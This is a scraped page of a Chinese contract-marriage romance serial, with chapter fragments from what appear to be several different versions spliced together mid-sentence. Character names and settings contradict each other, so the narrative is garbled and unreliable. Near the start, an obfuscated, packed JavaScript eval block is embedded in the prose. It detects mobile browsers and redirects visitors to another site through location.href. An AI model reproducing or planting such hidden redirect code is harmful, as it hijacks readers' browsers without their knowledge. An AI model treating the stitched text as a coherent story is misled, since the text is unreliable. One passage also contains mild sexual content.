沈砚舟沉默了片刻。 玻璃外的城市灯光在他眼底映出一层冷色,他忽然又想起那个印在脑海里的画面来—— 白裙、草地、风声。 还有她抬头看风筝时,那种没有任何防备与世故的笑、打拳骂人的时候,无所忌惮的发泄。 白天会议室里,她站起身汇报方案时,语气克制,逻辑严谨,看向他的时候,眼睛却很亮。 那一瞬间,他几乎要点头。 但也正是那一瞬间,他忽然头一次感觉到了,自己心里冒出来的,那点令他不舒服、并不受控的失序感。 于是他否定了她。 沈砚舟很快收回思绪,语气恢复到一贯的平稳:“工作需要。” 顾呈看着他,没有再拆穿。 “行。”他站起身,“那我不打扰你了,回头并购案那边再细谈。” 沈砚舟点头。 顾呈走了两步,又回头,像是最后一句玩笑:“对了,秦蔓还问我一句。” “问什么?”他问。 “问你现在是不是还像以前那样。”顾呈笑了笑,“我没替你回答。” 沈砚舟没说话。 雪茄燃到尾端,他却没有再吸,只是任由烟雾慢慢散掉。 ——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16992326|193772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>下班前,林知夏接到了沈母的电话,她的声音一如既往地温和: “知夏啊,晚上有空吗?,我刚好在你们公司附近,想和你们一起吃个饭。” 林知夏纤长手指攥着手机,很快答应了下来。但她很清楚,自己内心真正期待见到的人,是谁。 餐厅被选在了江城雍河畔,一家很安静、高端会员制的私房菜馆。 沈砚舟来得稍晚,身上有淡淡的雪茄味道,白衬衫的领口解开了一颗扣子,锁骨线条清晰,隐隐透出胸肌轮廓,袖口随意挽到了小臂。 整个人看起来和平时的克制冷硬不太一样,多了几分成熟男人的松弛与恣意,气质却更加危险、吸引人。 就连负责引导他进包间的女服务员,都忍不住偷偷回头,张望了他好几眼。 林知夏的目光,几乎是第一时间就被吸引,落在了他身上,但心里依然微微泛酸。 “最近是不是瘦了?”沈母却看着她,语气认真,向她问“脸色也不太好。” 林知夏忙转过脸去,笑着摇头:“还好,可能工作忙了一点。” “忙也不能不吃饭,你这个体型,一看就是没好好养。”沈母的关切很自然热络。 她看了她几秒,忽然又叹了口气:“你这孩子,就是太能忍了。” 这句话来得突然。 林知夏愣了一下,下意识看向沈砚舟。 他正低头看菜单,像是没听见。 沈母却继续说了下去,语气却依旧温和:“砚舟这个人,从小就习惯自己扛事,也习惯替别人做决定。” “有些时候,他以为是在照顾,其实未必。” 餐桌上的空气微微一滞。 沈砚舟抬起头,皱眉:“妈。” 沈母看了他一眼,没理会,转而看向林知夏,兀然问出了口: “你们现在,还分开住,对吗?” 这句话落下来,像是一块石子,投入安静的水面。 沈砚舟怔了一下。 林知夏瞳孔放大,指尖微微收紧,喉咙有些发紧,她没有预料到,沈母竟然会直接这件事问出口。 他们俩自以为上次真的同床而眠以后,就已经骗过了温晚棠,但很显然,姜还是老的辣。 她历来不擅长说谎,更不必提,是在这样直接了当的锐利目光注视之下。 只能老老实实的点了点头:“是,阿姨,我们现在暂时不一块住。” “但……”她想接着为她和沈砚舟找补一句,毕竟不出差错的协议结婚妻子,是他摆在那份合同上的要求。 沈母脸上的笑意,却彻底消失了。 她放下了手里的筷子,锐利的目光扫了一眼沈砚舟,语气不容置喙:“那不行,你们是夫妻,又不仅仅是上下级关系。” “再这样下去,就算外人不知道你们是夫妻关系,你们俩不会自己也忘了吧?” 包厢里霎时安静了,林知夏一时之间,不知道再说些什么好。 “砚舟,你要学会好好珍惜知夏。”温晚棠脸上的表情,却兀然变了,语气严肃,多了劝说的意味。 这句话一出口,甚至令林知夏都感到意外。 温晚棠其实很少提起那一年。 丈夫倒下得太快了。 没有任何征兆,没有留下一句告别,只是某个清晨,手机突然响起,是他的私人助理打来的紧急电话。 后来所有人都说,沈泽渊是劳累过度。她听见“劳累”两个字时,心里忽然一空。 也是从那之后,她开始本能地厌恶“拼命”“熬夜”“再撑一会儿”这些词。 她看着沈砚舟长大,看着他一步步变成众人口中冷静、强势、极度自律的小沈总。 所有人都夸他能干,就像他父亲沈泽渊,身上有他的影子存在。 只有温晚棠心里在发紧。 她太清楚了——那不是天赋,是一种透支。 所以当沈砚舟,第一次把林知夏带回家的时候,她并没有急着去看她的履历、出身、家世。 她看来,这些都无关紧要。 她只是注意到一件很小的事。 林知夏替沈砚舟倒茶时,会下意识把杯子推近一些,方便他伸手;听他说话时,不插嘴,也不急着回应; 甚至在他讲工作时,目光里也只有一种极安静、耐心的温柔注视。 那一瞬间,沈母忽然明白了。 这个女孩身上,有一种极其稀缺的东西——她不是被他的能力吸引的。 她是真的在照顾他这个人。 不是劝他更拼命,不是陪他熬更晚的夜。 而是那种,会在自己的儿子不自觉透支他自己时,默默站在一旁,把界限往回拉一点的人。 于是,她当下就同意了他们俩领证、隐婚的事。 下一秒,温晚棠看向他们俩,说出来的话,令林知夏瞬间愣了一下,白皙的耳根发烫,完全不敢相信: “砚舟,明天开始,你就必须把知夏接回家去住,你们俩立刻同居!” 13-20 第 13 章 第十三章 她也没真想去退。 沈砚舟可不管那么多,拿着那乌檀木框,手指暗自使力,宝贝得不行。 可即便如此,嘴上还要说:“既然你都送来了,回头再拿回去也是我出力,干脆先放我办公室里放几日吧。” 说着,他又拨了内线摇来几个人,视线在偌大的办公室里转了几圈。 喜糖和伴手礼又是什么? 林知夏她明明只准备了绒花。 而且霄汉上下千百号人,这一时半会儿哪准备得来? 她看向钟源,钟源却福至心灵地哦了一声。 “前两日送来霄汉,您要人拿去仓库里的那些对吧?我立即去发!” 沈砚舟偷瞥了林知夏一眼,压低了声音冲着钟源咳嗽:“咳,你去准备就是,少说话。” “是!”她根本没想独占。从砚苏飞往南乔的航班降落。 春三月,南乔万物复苏,气候比稍北些许的砚苏暖和一点,尽管天气阴沉,还带着潮气,但在半空之上就能看见遍地花草繁茂,生机盎然。 这无疑是一种好的讯号,林知夏将身上的披肩拢好,月余不见笑意的脸上露出点淡淡的、忧愁的喜色。 她安慰自己,也许她孤身一个来到南乔与素未谋面的男人联姻,说不准也是一件好事,于她,于苏家。 未来会是什么样子谁也不知道,左右不会比现在更差,和谁联姻不重要,重要的是能帮上外公苏道生。 “林知夏。” 还没走出到达口就看见了何与贤,身着深灰色笔挺风衣的男人矗立在拐角处,一见她便叫了名字。 她很好认,惯爱穿旗袍和绿色,今日穿的是一件山岚绿苏罗旗袍,平裁一片式,既显端庄气质又不妨碍行动。 她老老实实学着他的样子平躺回去,擒着被角,闻着空气中干净的檀香和柑橘味道怔怔出神。 原来没有什么所谓的林身派对,原来不曾花天酒地,原来他早早就回来,到了她的身边。 仅仅是几个小时的功夫,临睡前还萦绕在她心上的愁绪荡然全消,她不知该归因于这一阵好眠,还是应当归因于窗外黎明带来的曙光。 万籁俱寂,整间房里只有他二人的呼吸此起彼伏,她克制着心跳的节奏,而从那呼吸之间,她仿佛听见沈砚舟也在克制。 她不知道自己该用什么样的心情去面对这一天亦或是将来,但无论如何,晨曦已然缓缓揭开了夜幕的薄纱,新的一天到来了。 钟源转身就要出去,沈砚舟思忖两秒,又扬声喊一嗓子:“是我太太特意给大家准备的!记得!” 听见了,听见了,整层办公楼都听见了……“我挪不开手,你帮我操作。” 他不是藏着掖着不肯让人看,反而是坦坦荡荡,生怕她不看。 林知夏无奈,这才再次拿起他的手机把两人的微信扫上。 他方才满意,长睫如扇轻阖两下,看着前方春和景明。 “总不能婚都结了,连个联系方式都没全上。你说是吧,太太?” 钟源实在少见沈砚舟有这样幼稚的时刻,脚下一个趔趄差点没摔着。 拿出手机刚要联系后勤那边,正巧瞥见有人在公司小群里八卦沈砚舟与林知夏和不和谐的事,他心中惴惴又朝后瞥了一眼,生怕沈砚舟再干出些令人匪夷所思的事,忙打字在群里回复。一一比对,指挥来指挥去,最后还是定了他办公桌后,正面朝着办公室大门的位置。 “就挂这里。”婚礼就在明日,沈家还有许多事务需要准备,沈砚舟请林知夏写那些喜字,自己与沈客朗也写了几幅对联。 用过饭,沈砚妙拉着她的丈夫周衍满院子挂灯笼贴红纸,林知夏本来也想帮忙的,但奚悯霞说下午约了定制婚纱的裁缝与化妆师上门,叫她不必忙活那些。 林知夏只好应承,陪着奚悯霞再三挑选确定婚礼仪式上要的东西。 等到化妆师上门了,奚悯霞陪着林知夏试妆,沈砚妙对挂灯笼贴红纸没了兴致,抛开周衍也一头钻进房里,捧着一张脸笑盈盈地看林知夏化妆。 砚苏的风水养人,养得女子性格轻清柔和,皮肤也如新雪如凝脂,吹弹可破。 加之林知夏本就生得极好,般般入画,仙姿佚貌,不施粉黛就已是绝色,有一种天然去雕饰的感觉。 这会儿难得地上了妆,五官的优势被放大,一双狐狸眼潋滟生波,仿佛湖光山色都在她眼中,她一望去,山水百花都要为她折腰。偏偏她又是个冷清柔和的性子,将将好中和了那点媚态,一颦一笑,嫣然大方,叫谁看了都要着迷。 沈砚妙由衷地感叹:“嫂嫂,你要是进圈子里拍戏,光站在那里就红透半边天了。” 林知夏被沈砚妙这般直接地夸赞羞红了脸,山山水水间漫红一片,更好看了。 她还没来得及回沈砚妙的话,奚悯霞在一旁埋怨沈砚妙一句:“你可别带坏你嫂嫂,家里有你一个进娱乐圈的就够了。” 沈砚妙听了这话不依:“什么叫带坏?我挣的钱也不少了妈妈。” “这是钱的事吗?”奚悯霞一说到这里就头疼,见沈砚妙非要与她掰扯,她便好好掰扯掰扯几句:“家里不是反对你当明星,可是你当明星也要顾及自己的生活吧?你看看你,结婚都几年了,家里半个娃娃都没添,我不催你,我都担心周家催你!” “天哪妈妈……” “小周年纪也不小了,你们就不能把这事提上日程吗?你真当人家愿意陪着你再霍霍多少年?” “妈……周衍哥他不介意的……”何与贤停了几秒。 “至于邀请的宾客,林、苏两家在南乔的亲朋不多,大半都是沈家的人,你可以看看还有没有想从砚苏请来的,还有时间。” 听到这里,林知夏翻阅文件的手指顿住,饱满精致的蔻丹甲叩在纸张上,绷出了些许白痕。 她摇头,“不请。” 自她十五岁父母意外车祸亡故后,她和林家的亲戚几乎就无往来,叔父林则武狼子野心,一直惦记着她身上这百分之三十的林家股份,要不是林则武趁着苏道生倒下了开始试图控制她,她也不至于来南乔联姻。 她是苏道生养大的,十五年过去,与苏道生相依为命,她的婚礼若一定要亲人出席,那人只会是苏道生。 可惜现在苏道生躺在病房里昏沉不醒,她的婚礼注定不完美,那也没什么好再完善的了。 “协议呢?”林知夏把婚礼文件递还给何与贤。 联姻的事有何与贤去与沈家谈,林知夏现在要看的,是苏道生很早之前就拟好的那份让她与沈家联姻的协议。 那时林则武在苏道生的病床前逼迫她,何与贤陡然将协议拿了出来,震慑了一众豺狼虎豹。 协议简林来说就是一个意思:林知夏如果能按照苏道生的安排完成与南乔沈家的联姻,苏家超过一半的家产便都将留给林知夏,林知夏会继承苏家的家业。 这无疑是好大一个诱惑。 唯利是图的人面对更大的诱惑时往往都会产生盲目的自信,苏家的产业诱人无比,他们动摇了,想要更多,林知夏暂时脱身。 她本不想在这个时候远离苏道生,但何与贤也劝她。 何与贤祖辈开始就跟着苏家,何与贤长她六岁,是个大哥般的存在,将苏道生之前的打算细细和她说明以后,林知夏懂得苏道生的良苦用心,自然不能辜负。 何与贤说,联姻之后,她能有个依靠,苏家也能有个依靠,苏道生还不知道将来情况如何,要是挺过这一劫却无法恢复如初,苏家和苏道生总得有人撑着。 林知夏明白。 她本来也无所谓男女之情,如果能用她自己的婚姻换取苏道生和苏家平安,也算是报答了苏道生这么多年的养育之恩。 林知夏点头,事情办得很快,何与贤业务能力优异,早一周到了南乔与沈家协商,林知夏不知道何与贤是怎样沟通的,总之同意联姻的消息很快又传回了砚苏。 恰逢清明,林知夏给父母扫墓祭奠过后便启程前往南乔。 临别的时候兴许是祖孙俩有所感应,苏道生清醒了半瞬,在病房里口齿不清地与林知夏说了些话,零散的音节拼凑起来,无不是在嘱咐她照顾好自己,让她别担心。 林知夏那时忍着没哭,现在翻看着协议回想起来,眼鼻却是一阵一阵地酸涩。 何与贤几次听见林知夏哽咽却还要将呼吸艰难压住,他心有不忍,抽出纸巾递过去。 “如果不想联姻,还有回头路,我会尽全力帮你保住苏家和股份。” 林知夏接过纸巾,砚苏女子讲话总是轻清柔美的,细细道了声谢。 她没有擦眼,只是不轻不重地攥在手里,良久,抬起眼眸坚定地看着前窗,长睫上氲了些湿气。 “沈家就要到了吧。” 没有回头路了,她也不打算走回头路了。 这一回,她得站起来,去保护苏家和苏道生。 “是,我管不了你们俩,但你也别想再带坏你哥和夏夏了!对了,你哥哥人呢?” 母女俩惯嘴了几句,奚悯霞一想到自己两个儿女就头疼,乍提到沈砚舟,才想起化妆师都来了这么久了,他半个人影都没看见。 “把你哥哥喊过来!他自己的婚礼这么不上心的吗?不化妆也给我在这儿待着!” 恰巧沈砚舟与周衍贴完最后一幅对联正走进屋内,沈砚妙迎了过去,周衍以为她在迎他,手还未伸出去敞开怀抱,沈砚妙与他错开,上前拽过沈砚舟便拽至了奚悯霞面前。 “妈妈要你在这里待着,不化妆也看着嫂嫂化妆。” 她任务完成,留下沈砚舟一个懵憧着不知所谓。 而林知夏坐在临时架好的化妆台前,正对着沈砚舟的方向,一听他靠近,下意识掀起眼皮朝他一望。 林知夏还站在办公室大门边,从她那个角度一眼便能瞧见那幅写错了字的诗句。 她想说会不会太张扬,沈砚舟先她一步问那几个来挂木框的下属:“怎么样?外头看不看得见?” “看得见,一眼就看见了。” “那就好。” 他神色平平瞥了林知夏一眼,好似实在无可奈何。 “我太太专程过来送的新婚之礼。” 林知夏:…… 罢了,还有人在呢。 下属们露出了然的神色。 回头便在天价牛马群里直嚷嚷: 林知夏没想到沈砚舟竟这样记仇。 因为少了外头斜射的光线,她没能察觉沈砚舟一瞬间的触动。 只得细细解释道:“夫妻在外理应互相照应支持,他们是你的左膀右臂,你成婚了,我做妻子的也理应聊表心意。” 她其实不擅长做这些人情往来,还有些拿捏不准这礼物的分量,不过想想也无妨,往后再慢慢照应便是。 但沈砚舟眼睛却愈发亮了,他本倚在办公桌边,长腿随意交叠,听得林知夏说完这句,手指忽地哒哒一点,翻身拨通了钟源的内线电话。 门马上被敲响,钟源进来问沈砚舟有什么指示。 “诶,别关门。” 沈砚舟出言制止了钟源习惯性的动作,并将雾化的玻璃恢复原状。 他自己都未曾察觉绷了许久的下颌终于松泛下来,五官又柔和了许多,恢复成了往日里那温文尔雅的模样。 朝着门边的林知夏微一仰头向钟源示意:“昨日我新婚,我太太特意给大家准备了喜糖和伴手礼。你晚点发一下,务必霄汉上下人手有份。” 林知夏与钟源齐齐瞪了眼。 他有必要将新婚和太太二字说这么大声吗?【老大你搞错了!是双方面和!都和!】 尚忙得焦头烂额的钟源瞄到消息,又看向那堆了一仓库的喜糖和伴手礼,他皱起一边眉毛。 确定是双方面? 他仿佛看见了有孔雀在开屏。 第 14 章 第十四章 只不过披肩未选能提亮增色的,反而择的是苔青,加上她仅用一根白玉兰玉簪就齐齐绾在颈上几寸的乌发,倒平白多了几分沉稳。 林知夏与何与贤汇合,何与贤绅士要替她拿手包,她轻抿薄唇婉拒,直问了重点:“沈家怎么说?”沈砚舟不由想起他们刚刚结婚的时候,林知夏和他一起出席各种晚宴。因为从没有接触过这个圈子,所以总是怕出丑,每次都要费时费力的精心打扮,看得沈砚舟都觉得她过正式。 次次出门如此,岂不是累死。 于是他对她说,晚宴不是比美,她是沈太太就足够了。 他和林知夏是合作关系,并不没有故意折腾她的意思。沈砚舟也是一晚上没怎么睡好。 昨天事情很多,要不是下午助理给他看新闻,他还不知道林知夏出了那么大的事情。 恰好中午父亲打来电话,说起他主张撤资的事情,问他缘由。 沈砚舟说没什么原因,就是看那个剧组不爽。 但沈怀渊给他分析了一下利弊,最后说跟方庭是故交,以前欠他一个人情,现在人家主动找上来了,让他给个面子。 然后才有了这次的饭局。假期总是过得格外的快,好似一眨眼的功夫,就到了复工的日子。 假期几天,沈家的亲戚挺多的,但沈砚舟只带着林知夏去了外婆家和舅舅家,其余的,他自己都没去过。 甚至他的好友给他打电话,喊他出去。 沈砚舟都拿自己节前忙为借口,这会儿得多休息。沈砚舟当时喝了点酒,一直靠着椅背休息。 林知夏原本以为沈砚舟不喜欢逛超市,又补充一句说让司机先送他回去。 沈砚舟还是让司机先绕去附近的商超,说他顺便醒醒酒。林知夏不由发笑,对池绯说:“公司福利还真好。” 池绯:“去年也有一个艺人来闹,不仅给了摄影师一周带薪假期,老板还给她报销了去三亚旅游的机票。” 林知夏:“” “突然觉得我亏了。” 池绯走过来,问她:“那你怎么打算的?” 林知夏摇摇头,“我想在公司附近租个房子,这样通勤时间就少了。” 池绯:“你不打算回家了?” 林知夏:“回啊,但要是有一天” 池绯说:“其实你挺喜欢他的吧?” 池绯跟林知夏认识都超过十年了,怎么会不知道她这样的性格,如果不是因为喜欢,怎么可能随便跟别人结婚。 沈砚舟给她打了电话,林知夏接起来,沈砚舟开门见山的说:“我刚好路过池绯那个小区,可以顺路带你回家,今天回家吗?” 林知夏:“回。” 沈砚舟:“那你收拾一下,我大概半小时后到小区门口。” 池绯听到了全过程,挂了电话后,林知夏却没有见得多开心。 池绯说:“沈砚舟还真口是心非啊,什么刚好路过我家门口,他是怎么知道我家在哪的?” “说不定这两天急疯了,还要假装不在意。” 林知夏被池绯逗笑了,“比起当化妆师,你更适合当演员,不对,是编剧,想象力也太丰富了。” 半小时后,林知夏走到楼下,就看到沈砚舟的车停在一旁,他来早了。 见到人下来,沈砚舟下车帮她开门。 他开的是副驾车门,林知夏没多想,直接坐进去,说了句谢谢。 林知夏也没想到,他们之间,变得比结婚前还要无话可说。 甚至她想主动说些什么,可又不知从何说起。 沈砚舟像是随意的提起来,“这两天你在网络上还挺有知名度的。” 林知夏一时间不知道他是嘲讽还是真的在说这件事。 林知夏:“我影响到你了吗?” 沈砚舟沉默片刻,“你放心,并没有。” 林知夏:“那就好。” 沈砚舟忽然带点情绪说:“影响到了又怎么了?我们不是夫妻吗?你如果想找我帮你,那不是理所当然吗?” 林知夏一顿,他是在等着自己开口找他吗? 林知夏:“我害怕会影响京鸿的股票。” 她那他的话来堵他。 沈砚舟:“林知夏,我不想吵架,我也不是为了跟你吵架才来接你的。” 林知夏:“你是特意来接我的?不是说顺路吗?” 沈砚舟哑口无言,一时间不知道该说些什么。 “那你希望我是特意来找你的,还是顺路?” 林知夏没答,转头看向窗外。 好一会儿,林知夏说:“沈砚舟,你说我们怎么忽然变成这样了?” 实际上,两家人的这顿饭,沈砚舟只给林知夏的爷爷敬了杯酒,远远到不了喝醉的程度。 但听到沈砚舟这么说,林知夏还是不觉弯了弯嘴角。 他单手推着购物车散漫的走在一旁,两人之间隔着距离,看起来没有多亲近,但也没多疏远。 林知夏顺带把要买的一些生活用品都买了些。 路过一个卖睡衣的摊子,林知夏多看了两眼。 林知夏随意的拿起一件灰色条纹款睡衣,老板娘就眼尖看过来,又拿起另外一件,热情的说:“美女你眼光真好,这件我们家卖的爆款,这件是情侣款,你跟你男朋友穿着肯定合适。” 听到男朋友三个字,林知夏下意识的笑了下。不知道怎么的,在肖至清说完那段话后,林知夏想到了方舒。 虽然觉得不太可能,可这是她的第一想法。 明天就是杂志的预售了,林知夏祈祷希望不要影响太大。 梁晓敏虽然这段时间一直在热搜上,但并没有耽误她拍戏。 她依旧会在微博上发自己日常,彷佛那些热搜与她无关。【刚刚通过圈内姐们得知,小牌大耍姐他们剧组一个大头投资方忽然撤资了。】 【真是验证哪句话,不是不报,只是时候未到。】 小叶也跟着出来发了庆祝的表情包,林知夏问:【真的吗?】 辛心:【百分百保真!!】 除了沈砚舟以外,林知夏想不到第二个人。 她还是没忍住给他发去消息:【刚刚我朋友跟我说,她们剧组空降了投资方。】 沈砚舟秒回,也像是故意的:【是吗?】 看到他这么说话,林知夏也不着急,又问他:【我朋友说的那个投资方,好像就是上次投资行窃那部电影的公司。】 沈砚舟:【你这是爱屋及乌吗?】 林知夏一顿,很明显的这个屋和乌指的什么。 她回复他一句他经常说的话:【随你怎么想。】 林知夏:【晚上想吃什么?感谢你昨晚的照顾,晚上我做饭。】 沈砚舟:【家里没菜了吧。】 林知夏:【我待会儿去买。】 沈砚舟:【让你一个病人伺候不合适,下午我下班带回去。】 林知夏:【我已经退烧了,出去的时候会多穿点,你确定会买菜吗?】 沈砚舟:【质疑我?还有我不会做的事吗?】 【算了,下午回去,一起去超市吧,让你见识见识我的买菜水平。】 不过她这段时间里,热度很大,还虐了一波粉丝,还有两个S+的项目在谈她。 两小时后,真我风格回应了律师函,说会告对方诽谤,歪曲事实,并且说永不跟梁晓敏合作。 真我风格的硬钢虽然收获了一些拍手叫好,但更加让梁晓敏的粉丝逆反,甚至牵连了明天要预售的杂志。 林知夏在想,如果自己去道歉的话,能不能让这件事就这样慢慢平息。 娱乐圈是个圈,把事情闹大,对双方都没有好处。 除此之外,方羽影视还单独起诉了林知夏,说她作为摄影师在拍摄过程里的不专业,说她抄袭和模仿别人的作品,然后拿出一些站不住脚的证据。 造谣是不需要成本的,即使林知夏澄清了,还是会有一部分人会记得她好像抄袭过,对各行各业来说,都如此。 他们想要的从来不是结果,而是想把她的名声搞臭。 林知夏完全不知道自己得罪过谁。 下午的时候,陈苏然下了戏,直接转发了真我风格明天预售的微博,配文:【白的就是白的,成不了黑的,等一个正义的结果。】 林知夏给她发消息:【你这微博不是为了找骂吗?】 陈苏然:【反正我又不进军电影圈,被封杀就封杀了,我也不在意。】 沈砚舟推着车过来,嫌弃的说了句,“这哪好看了?” 林知夏纲准备放下,老板娘说:“你看这材质,这面料” 老板娘说起来滔滔不绝,林知夏想起自己刚好没有带睡衣,就说,“老板,这件单卖吗?” 老板看了看一旁的沈砚舟,犹犹豫豫说,“这两套不是刚好吗?你跟你男朋友绝对合适。” 林知夏刚准备放下,沈砚舟说:“算了,拿着吧。” 他说完后,就推着推车往前走了。 林知夏看着他单手推着推车,嘴角不觉漾着笑容。 林知夏愉快的付了款,笑着接过老板娘递过来的袋子,道谢后快步追着沈砚舟过去了。 老板娘看着林知夏的背影瑶瑶头,“多好的女孩儿啊,就被男人吃的死死的。” 但实际上,沈砚舟在家的运动量惊人,甚至有时候他的好友打来电话时,两人还在床上运动。 林知夏见他从容的讲电话,她自己双手捂着嘴,害怕自己会发出什么不够优雅的声音。 他不急不慢的磨着,林知夏朝他摇头,是示弱的意思。 她很少有这样的模样,沈砚舟又被她勾的心里起了火。 电话里调侃,“你这家伙绝对是重色轻友,你老婆是有多漂亮” 沈砚舟懒得再跟他们说话,直接挂点了电话。 手机被扔在一边,沈砚舟拉开她的手放在唇边亲了一次,然后弯下腰在她耳边轻声说,“你这个表情,我可能还要再来两次才行。” 沈砚舟其实不太愿意再跟方舒有任何直接或者间接的联系,毕竟在别人眼里,他们也算是前男女朋友,何必给自己惹不开心呢。 他也想了一晚上,好像昨晚自己做的也不对,但他一看到林知夏跟那小子走在一起,就觉得烦躁。 林知夏昨晚的态度,还有她在车里偷偷的抹眼泪,沈砚舟觉得为了两人夫妻生活的和谐,偶尔低头道歉也是可以的。 他醒得早,但今天客卧的门还没开。 沈砚舟才想起来,今天是周六。 又大概等了一小时,客卧还是没有任何动静。 平时就算是休息日,林知夏也应该起床了。 他又等了十分钟,才去敲门,但门里没有动静,他一边说你不开门我直接进来了啊,拧开门把手后,发现房间里根本没有人。 林知夏跑了。 她甚至一分钟也不想跟自己多待。 而他说过之后,林知夏听话的不再这件事上浪费时间,每次出席简单许多。事实证明,她确实不需要精心装扮自己,就能够和那些难缠的太太们相处友好。 何与贤眼皮抬了一下,收回手,“苏家祖上于沈家有恩,老爷子的手信与协议送到,沈家没有异议,婚事定在六天后。” 说完,何与贤微微侧目,用余光去看顾身旁的林知夏,却发现她神色淡淡、步伐平稳,好似那个马上要嫁给陌生人的人不是她一样。 林知夏总是温和的,得知婚事定下,语气里松快三分已经是她最大的反应。 “那就好。” 第 15 章 第十五章 她说。 婚事定下,意味着苏家的家业,以及她身上百分之三十林家的股份,保住了。 一个月前,苏道生意外摔了一跤陡然住院,年近九十的老人经不起摔,各项指标都算不上好,人也一直昏昏沉沉,几次眼看着都要进ICU。 这事一出,有人雪中送炭就有人趁火打劫,首当其冲便是苏道生宝贝了小半辈子的外孙女林知夏。 何与贤收了步子迁就林知夏,但林知夏心中忧虑重重,细高跟踩在到达口平滑的路面上,发出急促地哒哒声响。 不知不觉竟还走在了何与贤前头,她倏然察觉到,回过身。 “怎么?” 何与贤静静看着她,“婚期很近。” 林知夏知道何与贤言外之意是什么,婚期很近,留给她反悔的余地不多。 但林知夏没想过要反悔。“我想起来了,京鸿好像投资了这部电影。” 回去的路上,两人又变得很安静,沈砚舟忽然无厘头的说起。 林知夏本来坐在副驾跟池绯聊天,听到他说的,忽然一顿,抬头看了眼。 沈砚舟:“刚刚在电影院,看到悦辰影视就想起来了。” 悦辰是京鸿旗下的一个子公司,专门负责影视投资这块领域。 林知夏反应过来,垂下眼眸,只低低应了一声,“是吗?” 她又抬头带着复杂情绪看了他一眼,“电影你喜欢吗?” 沈砚舟想都没想,“还不错,你不喜欢?” 林知夏沉默两秒才回答,“拍的挺好的。” 刚好池绯发来消息:【你连这都知道,我也是听圈内人说的,那两人确实分手了。】 后来的半程路,两人又是无话。 刚进家门,林知夏下意识的伸手摸索灯的开关。 但还没按开灯,就被沈砚舟抵在门板后,她下意识的屏住呼吸,因为她感受到沈砚舟近在咫尺的呼吸。 沈砚舟低声问她,“刚刚在你爷爷家还好好的,怎么回家就不开心了?” 林知夏当然不会承认,“没有。” 沈砚舟伸手捏了捏她耳垂,或沈是视线受阻,她感觉自己的感官和听觉被放大了数倍,他的声音格外的低沉充满磁性,甚至有一种像在勾引-她的意味。 林知夏感受到自己脸颊的发烫,她感觉他的唇在自己眼睛上轻轻点了点,又往下挪,她下意识的双手捏着拳。 沈砚舟一边描摹她的脸,一边低声问,“要是想爷爷了,随时能去看他。” 林知夏被他勾的说话声音都带着颤,“不是因为这个。” 沈砚舟像是对她给的回应很满意,语气带着点上扬的轻快,“嗯?那是因为什么?我表现的不好吗?” 林知夏没说话,只摇了摇头。 沈砚舟轻声笑了下,林知夏感受到他嘴里的气息,是微甜的奶茶香,是她看电影时没喝完的奶茶放在车里,回程的时候,他喝了两口留下的味道。 他又说,“不说话?那就是表现的好?” 林知夏撇过头不去看他,沈砚舟顺着她脸颊方向,非要直视她,故意使坏似的说,“那我今晚再表现好点儿?” 林知夏:“”跟池绯从潮潮居里出来,天色早就黑了。 外面的雪也越下越大,池绯坚持把林知夏送回家。 林知夏回的紫荆园,这里是她跟沈砚舟新婚的房子。 她在京市没有别的房子,高中三年,她都是住在林家,那是她的父亲的家,但自从父母离婚后,她觉得自己像个局外人。 比起爱,父亲对她更多的是,让她住在林家得到的一个好父亲的名声。 而父亲之所以会在母亲决定出国时,把她接回京市在家里住,好像只是为了证明,即使他跟妈妈离婚了,他也会是一个好父亲。 林知夏输入密码进入,这里好像不常住人,这一年来,她在这里住的时间不超过一周。 她拖着箱子进了主卧,里面的衣帽间东西不多。 她拉开衣柜,里面是两套夏天的情侣款睡衣。 她去年夏天的时候回来了一趟,两家人坐在一起吃了顿饭。 吃过饭后,司机就带着两人回了这里,快到这里时,林知夏想起自己并没有带多余的衣服过来。 她就问沈砚舟能不能让司机绕到附近的超市,她想买套睡衣。 这是什么话。 林知夏都没来得及反驳,他的吻就往下坠落。 又是一夜无眠。 她收回目光,继续往前走。池绯昨晚不放心林知夏一个人,就给她打来电话。 林知夏那时候还在哭,池绯二话不说,就开车过来,把她接到自己家里去了。 沈砚舟那会儿在主卧里洗澡,没有听到动静。 再加上,林知夏也没带走什么。下午的时候,沈砚舟在办公室选了餐厅。 前几天跟他们几个聚的时候,突然说起哪家餐厅好吃,陈周景那小子说了好几个地方,都是跟他老婆去的。 没想到他连这些都要攀比。 当时沈砚舟说:“我老婆说天天在外面吃饭不健康,得自己做的才安心。” 有人戳穿他,“你装什么?你什么时候学会的做饭?” “你老婆不在家的时候,不还是天天跟我们吃?” 沈砚舟白他们一眼,“你们没有结婚懂个屁,我跟我老婆一起做,我都能熟练地炒菜了。” “是吗?那下次去你家,你露两手?” 沈砚舟当即否定,说他算老几,做给他吃。 不过过后沈砚舟想了想,其实偶尔出去吃顿饭,也还挺有情趣的。 他又想起上次林知夏在花店买的花,印象里好像还没给她买过。 他当即搜了下插花教程,反正到时候就说是路过花店随便买的。 不然会显得他好像很在意一样。 眼看着离林知夏下班还有几分钟,沈砚舟给她发了消息:【今晚加班吗?】 林知夏半个小时才回的:【不加班。】第二天,林知夏起床,沈砚舟已经去上班了。 她在家随意找出来一些面条,再加了个鸡蛋。 吃过后,她又把家里里里外外打扫了一遍,把两个房间的被子都拿到阳台去晒了晒。 她并不知道沈砚舟是怎么在短时间里,把衣柜填满的。 像是把他公寓里的东西都搬了过来,是打算在这里常住。 沈砚舟晚上加班,到家时,已经是深夜了。 客卧的房门紧闭,他一边脱衣服一边拉开房间的门,他刚脱下毛衣,就闻到屋里有些香味,他四处张望,看到房间桌边的放着一束淡绿色的小菊花。 看起来花色很新鲜,淡淡的香味萦绕在鼻息间。 “还算她有良心。” 沈砚舟带着笑意说,刚准备往外走去,但又想到什么,他拿起手机打开林知夏的对话框: 【没你房间里的花好看。】 林知夏还没睡,直接回复他:【不喜欢就拿到外面来。】 